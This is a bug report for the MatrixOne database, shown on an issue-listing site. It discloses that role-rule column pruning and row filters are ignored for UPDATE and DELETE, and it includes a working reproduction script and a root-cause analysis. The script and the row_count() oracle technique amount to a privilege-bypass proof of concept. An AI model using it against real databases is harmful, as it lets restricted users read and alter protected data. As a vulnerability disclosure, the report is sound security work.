[Bug]: UPDATE/DELETE bypass role rules: pruned columns readable in predicates and hidden rows matched
I maintainer di solito rispondono entro 1 giorno
@iamlinjunhong ci sta già lavorando.
Dal 25/11/2026.
Valutazione
Questa issue non è ancora stata valutata.
Descrizione
Environment
- MatrixOne: workspace commit
d58476485f029f076a8b42ac16262bf5c119deb5(main) - OS/Arch: macOS 15.5, arm64 (Apple Silicon)
- Deployment: single-node
mo-servicestarted from a copy ofetc/launchwith every port shifted by +20000 (CN frontend on 127.0.0.1:26001), data dir under the workspace - Clients: MySQL CLI 9.7.1 with
--default-character-set=utf8mb4; admin connected asdump, restricted user aspoc_u
Actual Behavior
A role rule select uid from pocdb.vault where salary < 10000 on table pocdb.vault hides the salary/note columns and every row with salary >= 10000 from the restricted user. The rule is correctly enforced for SELECT and for the read source of INSERT ... SELECT, but it is completely ignored for UPDATE and DELETE:
SELECT uid FROM vault WHERE salary = 25000->ERROR 1054 (42S22): invalid input: column salary does not exist(column pruning works).INSERT INTO sink SELECT uid FROM vault WHERE salary = 25000-> sameERROR 1054(read source of DML is protected).UPDATE vault SET note = 'WIN2' WHERE salary = 25000-> succeeds,row_count()returns 1, and the row(uid=2, salary=25000)— which the user cannot even see — is modified. The same predicate that is rejected inSELECTis accepted and evaluated against the raw base table inUPDATE.UPDATE vault SET salary = 125000 WHERE uid = 3-> succeeds (row_count()=1): even the pruned column itself can be written throughSET.DELETE FROM vault WHERE salary = 25000-> succeeds (row_count()=1): the hidden row is deleted.row_count()(affected-rows) therefore acts as an exact oracle:UPDATE vault SET note = 'P1' WHERE salary = 25000; SELECT row_count();returns 1 when the guess hits and 0 otherwise, letting the restricted user recover the values of the prunedsalarycolumn and probe the existence of rows hidden by the row filter.
Reproduced twice: once on the original instance and again after a clean restart of mo-service with the same data directory.
Expected Behavior
UPDATE/DELETE on a table governed by a role rule must apply the same mandatory policy to the rows they read and match: a predicate referencing a pruned column must fail with ERROR 1054 exactly as the equivalent SELECT does, and rows outside the rule's row filter must not be matched (affected-rows must stay 0 for hidden rows). INSERT ... SELECT already enforces exactly this on its read source, so UPDATE/DELETE behaving differently is an inconsistency in the same feature, not a new design.
Steps to Reproduce
Run as admin (dump) on a fresh single-node instance:
create database pocdb;
create table pocdb.vault (uid int, salary int, note varchar(20));
insert into pocdb.vault values (1, 8000,'n1'),(2, 25000,'n2'),(3, 3, 'n3');
create table pocdb.sink (uid int);
create role pocA;
grant connect on account * to pocA;
grant select, update, delete on table pocdb.vault to pocA;
grant insert on table pocdb.sink to pocA;
alter role pocA add rule 'select uid from pocdb.vault where salary < 10000' on table pocdb.vault;
create user poc_u identified by '123456' default role pocA;
Then, as poc_u (default role pocA, current database pocdb):
-- rule works for SELECT: only uid 1 and 3, only the uid column
select * from vault; -- uid: 1, 3
select uid from vault where salary = 25000; -- ERROR 1054 column salary does not exist
insert into sink select uid from vault where salary = 25000; -- ERROR 1054 (read source protected)
-- rule silently dropped for UPDATE/DELETE
update vault set note = 'WIN2' where salary = 25000; -- succeeds (!)
select row_count(); -- 1: hidden row (uid=2, salary=25000) matched
update vault set salary = 125000 where uid = 3; -- succeeds: pruned column written via SET
delete from vault where salary = 25000; -- succeeds: hidden row deleted
select row_count(); -- 1
Verify as admin that (uid=2, salary=25000) was modified/deleted although the restricted user can never see it: select * from pocdb.vault;.
Additional Information
Root cause: pkg/sql/parsers/sqlparse.go, the statement dispatch that attaches the parsed /*+ {"rewrites": ...} */ option (which carries the mandatory role rule merged by the frontend) to the statement AST:
switch s := attachStmt.(type) {
case *tree.Select: ...
case *tree.ShowColumns: ...
case *tree.ShowCreateTable: ...
case *tree.ParenSelect: ...
case *tree.Insert: // read source only
case *tree.MultiInsert: // read source only
case *tree.CreateTable: // CTAS source
default:
freeRewriteOption() // <-- *tree.Update and *tree.Delete land here: the policy is silently discarded
}
The comments for Insert, MultiInsert and CreateTable explicitly note that failing to propagate the option would let the statement "read the raw base table and bypass the rewrite policy", but *tree.Update and *tree.Delete are not handled at all, so their plans are built against the unrewritten base table.
Recommended fix direction: attach the rewrite option for *tree.Update / *tree.Delete so their target table references resolve through the stacked role-rule views (same treatment as INSERT ... SELECT's read source), making pruned-column predicates fail with 1054 and hidden rows unmatchable. If full DML write-side checks are intentionally out of scope, at minimum the predicate read side must be governed consistently with SELECT, and the inconsistency should not silently leak pruned-column values through affected-rows.
Related but distinct issues checked (none cover UPDATE/DELETE statement paths): #31675 (EXPLAIN ANALYZE row-count side channel), #29467 (CTAS bypass, fixed), #29133 (rename bypass, fixed), #29236 (remap hint disabled bypass, fixed), #32896 (4.2 follow-up tracker, no such item).
Full reproduction, exactly as Loom ran it
#!/bin/bash
# Minimal repro: role rules are enforced for SELECT / INSERT...SELECT read source
# but silently dropped for UPDATE/DELETE.
# Requires a single-node mo-service built from commit d58476485f, admin user dump/111.
# Adjust HOST/PORT to your instance (here: CN frontend on 26001, ports shifted +20000).
set -u
HOST=127.0.0.1
PORT=26001
ADMIN="mysql -h $HOST -P $PORT -u dump -p111 --default-character-set=utf8mb4"
USERC="mysql -h $HOST -P $PORT -u poc_u -p123456 --default-character-set=utf8mb4 pocdb"
$ADMIN -e "
drop user if exists poc_u; drop role if exists pocA; drop database if exists pocdb;
create database pocdb;
create table pocdb.vault (uid int, salary int, note varchar(20));
insert into pocdb.vault values (1, 8000,'n1'),(2, 25000,'n2'),(3, 3, 'n3');
create table pocdb.sink (uid int);
create role pocA;
grant connect on account * to pocA;
grant select, update, delete on table pocdb.vault to pocA;
grant insert on table pocdb.sink to pocA;
alter role pocA add rule 'select uid from pocdb.vault where salary < 10000' on table pocdb.vault;
create user poc_u identified by '123456' default role pocA;"
echo '=== [1] SELECT obeys rule: only uid 1,3 visible, only uid column ==='
$USERC -e "select * from vault;"
echo '=== [2] SELECT with pruned-column predicate -> expected ERROR 1054 ==='
$USERC -e "select uid from vault where salary = 25000;"
echo '=== [3] INSERT...SELECT read source with same predicate -> expected ERROR 1054 ==='
$USERC -e "insert into sink select uid from vault where salary = 25000;"
echo '=== [4] UPDATE with the SAME pruned-column predicate: BUG, succeeds, row_count()=1 ==='
$USERC -e "update vault set note = 'WIN2' where salary = 25000; select row_count();"
echo '=== [5] UPDATE SET on pruned column: BUG, succeeds ==='
$USERC -e "update vault set salary = 125000 where uid = 3; select row_count();"
echo '=== [6] admin check: hidden row uid=2 (salary=25000) was modified ==='
$ADMIN -e "select * from pocdb.vault;"
echo '=== [7] DELETE with pruned-column predicate: BUG, hidden row deleted ==='
$USERC -e "delete from vault where salary = 25000; select row_count();"
echo '=== [8] admin check: uid=2 is gone ==='
$ADMIN -e "select * from pocdb.vault;"
# cleanup
$ADMIN -e "drop user if exists poc_u; drop role if exists pocA; drop database if exists pocdb;"
Found by Loom bug hunt (module: custom-393355822b; tests: unit, white-box, end-to-end; severity: S-1, reproduced again by an independent session on the latest main)
- Lingua principale
- Go
- Stelle
- 1.9k
- Fork
- 312
- Merge medio
- 22h 59m
- PR unite (30g)
- 736
Preparare l'ambiente
Come iniziare
- Leggi tutta la issue e poi la guida ai contributi del progetto.
- Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
- Fai un fork del repository e lavora su un branch.
- Apri una pull request che faccia riferimento al numero della issue.
Altre issue di matrixorigin/matrixone
-
kind/bug
Difficoltà 2/5 1-3 ore Idoneità per principianti 84/100
matrixorigin/matrixone#33363 ·
I maintainer di solito rispondono entro 1 giorno
-
kind/bug
Difficoltà 2/5 1-3 ore Idoneità per principianti 74/100
matrixorigin/matrixone#33362 ·
I maintainer di solito rispondono entro 1 giorno
-
SLEEP rejects NULL and negative durations that MySQL acceptsForse già presa @XuPeng-SH l’ha presa 7 giorni fa. Aperta
Difficoltà 2/5 1-3 ore Idoneità per principianti 72/100
matrixorigin/matrixone#32653 ·
I maintainer di solito rispondono entro 1 giorno
-
[Bug]: TestChangeWatchProxy loses its first tenant connection during PingContext in Ubuntu CIForse già presa @XuPeng-SH l’ha presa oggi. Apertakind/bug needs-triage
matrixorigin/matrixone#33371 · 1 assegnatario ·
I maintainer di solito rispondono entro 1 giorno
-
[Bug]: TestDaemonClaimSQLRoundTrip exhausts its shared deadline during the stale claim update in Ubuntu CIForse già presa @XuPeng-SH l’ha presa oggi. Apertakind/bug needs-triage
matrixorigin/matrixone#33370 · 1 assegnatario ·
I maintainer di solito rispondono entro 1 giorno
Tutte le issue di matrixorigin/matrixone
Issue simili
-
bug
Difficoltà 2/5 1-3 ore Idoneità per principianti 75/100
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 70/100
pg-sharding/spqr#3314 ·
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 76/100
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 76/100
zalando/postgres-operator#3257 ·
I maintainer di solito rispondono entro 2 giorni
-
[inputs.internal] README lists go_version tag on internal_gather instead of internal_agentForse già presa @cvas22 l’ha presa oggi. Aperta
Difficoltà 1/5 Meno di un'ora Idoneità per principianti 90/100
influxdata/telegraf#20264 ·
I maintainer di solito rispondono entro 1 giorno